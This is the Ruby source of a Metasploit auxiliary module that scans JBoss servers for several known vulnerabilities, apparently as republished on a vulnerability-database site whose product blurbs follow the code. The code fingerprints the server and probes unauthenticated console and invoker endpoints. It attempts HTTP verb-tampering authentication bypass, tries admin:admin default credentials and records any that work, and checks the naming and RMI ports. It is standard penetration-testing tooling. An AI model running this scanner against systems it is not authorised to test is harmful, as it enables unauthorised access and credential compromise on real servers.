`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Vulnerability Scanner',
'Description' => %q(
This module scans a JBoss instance for a few vulnerabilities.
),
'Author' =>
[
'Tyler Krpata',
'Zach Grace <@ztgrace>'
],
'References' =>
[
[ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"
[ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)
[ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/
[ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/
[ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"
],
'License' => BSD_LICENSE
))
register_options(
[
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
])
end
def run_host(ip)
res = send_request_cgi(
{
'uri' => "/" + Rex::Text.rand_text_alpha(12),
'method' => 'GET',
'ctype' => 'text/plain'
})
if res
info = http_fingerprint(:response => res)
print_status("#{rhost}:#{rport} Fingerprint: #{info}")
if res.body && />(JBoss[^<]+)/.match(res.body)
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
end
apps = [
'/jmx-console/HtmlAdaptor',
'/jmx-console/checkJNDI.jsp',
'/status',
'/web-console/ServerInfo.jsp',
# apps added per Patrick Hof
'/web-console/Invoker',
'/invoker/JMXInvokerServlet',
'/invoker/readonly'
]
print_status("#{rhost}:#{rport} Checking http...")
apps.each do |app|
check_app(app)
end
jboss_as_default_creds
ports = {
# 1098i, 1099, and 4444 needed to use twiddle
1098 => 'Naming Service',
1099 => 'Naming Service',
4444 => 'RMI invoker'
}
print_status("#{rhost}:#{rport} Checking services...")
ports.each do |port, service|
status = test_connection(ip, port) == :up ? "open" : "closed"
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
end
end
end
def check_app(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain'
})
unless res
print_status("#{rhost}:#{rport} #{app} not found")
return
end
case
when res.code == 200
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
when res.code == 403
print_status("#{rhost}:#{rport} #{app} restricted (403)")
when res.code == 401
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
bypass_auth(app)
basic_auth_default_creds(app)
when res.code == 404
print_status("#{rhost}:#{rport} #{app} not found (404)")
when res.code == 301, res.code == 302
print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
when res.code == 500 && app == "/invoker/readonly"
print_good("#{rhost}:#{rport} #{app} responded (#{res.code})")
else
print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")
end
end
def jboss_as_default_creds
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")
session = jboss_as_session_setup(rhost, rport)
return false if session.nil?
# Default AS creds
username = 'admin'
password = 'admin'
res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'POST',
'version' => '1.1',
'vhost' => "#{rhost}",
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
},
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
})
# Valid creds if 302 redirected to summary.seam and not error.seam
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
add_creds(username, password)
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end
def add_creds(username, password)
service_data = {
address: rhost,
port: rport,
service_name: 'jboss',
protocol: 'tcp',
workspace_id: framework.db.workspace.id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username
}.merge(service_data)
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
end
def jboss_as_session_setup(rhost, rport)
res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'GET',
'version' => '1.1',
'vhost' => "#{rhost}"
})
unless res
return nil
end
begin
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
rescue ::NoMethodError
print_status("#{rhost}:#{rport} Could not guess admin credentials")
return nil
end
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
end
def bypass_auth(app)
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")
res = send_request_raw({
'uri' => app,
'method' => datastore['VERB'],
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
})
if res && res.code == 200
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering at #{app}")
else
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
end
end
def basic_auth_default_creds(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain',
'authorization' => basic_auth('admin', 'admin')
})
if res && res.code == 200
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
add_creds("admin", "admin")
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end
# function stole'd from mssql_ping
def test_connection(ip, port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => ip,
'PeerPort' => port,
'Timeout' => 20
)
rescue Rex::ConnectionError
return :down
end
sock.close
return :up
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation